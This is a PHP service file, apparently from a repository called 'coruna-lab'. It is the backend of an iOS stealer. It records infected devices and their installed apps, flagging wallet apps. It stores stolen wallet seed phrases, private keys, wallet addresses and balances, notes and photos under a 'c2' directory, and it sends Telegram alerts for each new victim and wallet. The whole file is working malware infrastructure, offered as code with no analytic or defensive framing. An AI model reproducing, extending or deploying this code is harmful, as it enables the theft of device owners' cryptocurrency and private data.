Files
coruna-lab/server/app/Services/IngestService.php
T
hashbro ea0be57180 init
2026-08-04 05:00:42 +08:00

357 lines
12 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
class IngestService
{
public function __construct(private readonly TelegramNotifier $telegram) {}
/**
* Stable device id — currently only from payload `d` / `f`.
* Other fields will be added when confirmed in live traffic.
*/
public function extractDeviceKey(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['d', 'f'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return substr($payload[$key], 0, 64);
}
}
return null;
}
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey ??= $this->extractDeviceKey($payload);
if (! $deviceKey) {
return null;
}
$deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first();
$attrs = [
'ip' => $request->ip(),
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
if ($deviceModel !== null) {
$attrs['device_model'] = $deviceModel;
} elseif ($existing) {
$attrs['device_model'] = $existing->device_model;
}
if ($ios !== null) {
$attrs['ios_version'] = $ios;
} elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
$device = Device::query()->updateOrCreate(
['device_id' => $deviceKey],
$attrs
);
if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
}
return $device;
}
/**
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
*/
public function ingestInstalledApps(Device $device, ?array $payload): void
{
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
return;
}
$walletBundles = config('coruna.wallet_bundles', []);
foreach ($payload['al'] as $item) {
if (! is_array($item)) {
continue;
}
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
$version = isset($item['v']) ? (string) $item['v'] : null;
if ($bundle === '') {
continue;
}
$isWallet = in_array($bundle, $walletBundles, true)
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundle],
[
'name' => $name,
'version' => $version,
'is_wallet' => $isWallet,
'meta_json' => $item,
]
);
}
}
/**
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
*/
public function ingestDeviceEvent(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
$desc = $payload['desc'] ?? $payload['description'] ?? null;
if ($eventName === null && $desc === null) {
return;
}
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
$contextJson = null;
if (is_array($ctx)) {
$contextJson = $ctx;
} elseif ($ctx !== null) {
$contextJson = ['value' => $ctx];
}
DeviceEvent::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'event_name' => is_string($eventName) ? $eventName : null,
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
'context_json' => $contextJson,
]);
}
public function ingestWalletSecrets(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$mnemonic = null;
$priv = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
$mnemonic = $payload[$key];
break;
}
}
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
$priv = $payload[$key];
break;
}
}
if ($mnemonic === null && $priv === null) {
if (isset($payload['result']) || isset($payload['data'])) {
Wallet::query()->create([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
}
return;
}
$wallet = new Wallet([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
$wallet->mnemonic = $mnemonic;
$wallet->privkey = $priv;
$wallet->save();
}
public function ingestAddresses(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$rows = [];
if (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
} else {
$rows = $this->normalizeAddressRows($payload);
}
foreach ($rows as $row) {
$address = $row['address'] ?? null;
if (! $address || ! is_string($address)) {
continue;
}
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
$existing = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $address)
->where('chain', $chain)
->first();
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
[
'balance' => $balance,
'symbol' => $symbol,
'meta_json' => $row,
]
);
if (! $existing) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$addr->telegram_notified = true;
$addr->save();
} elseif ($balance !== null && $existing->balance !== $balance) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
}
}
}
public function ingestNotes(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
if (! is_array($notes)) {
Note::query()->create([
'device_id' => $device->id,
'title' => 'raw',
'body' => null,
'meta_json' => $payload,
]);
return;
}
$list = array_is_list($notes) ? $notes : [$notes];
foreach ($list as $note) {
if (! is_array($note)) {
continue;
}
Note::query()->create([
'device_id' => $device->id,
'title' => $note['title'] ?? $note['name'] ?? null,
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
'meta_json' => $note,
]);
}
}
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
{
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
}
$bytes = file_get_contents($path);
$sha = hash('sha256', $bytes);
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
'size' => strlen($bytes),
'counters_json' => $counters,
]);
}
}
private function extractDeviceModel(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['deviceModel'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
return $payload['m'];
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info)) {
foreach (['productType', 'machine', 'model'] as $key) {
if (! empty($info[$key]) && is_string($info[$key])) {
return $info[$key];
}
}
}
return null;
}
private function extractIosVersion(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
// /api/user/get uses `v` for iOS version
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
return $payload['v'];
}
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
$sv = $payload['systemVersion'] ?? null;
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
return $sv['ProductVersion'];
}
if (is_string($sv) && $sv !== '') {
return $sv;
}
return null;
}
private function looksLikeMnemonic(string $value): bool
{
$words = preg_split('/\s+/', trim($value)) ?: [];
return in_array(count($words), [12, 15, 18, 21, 24], true)
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
}
private function normalizeAddressRows(array $data): array
{
if (array_is_list($data)) {
return array_values(array_filter($data, 'is_array'));
}
if (isset($data['address'])) {
return [$data];
}
$out = [];
foreach ($data as $value) {
if (is_array($value) && isset($value['address'])) {
$out[] = $value;
}
}
return $out;
}
}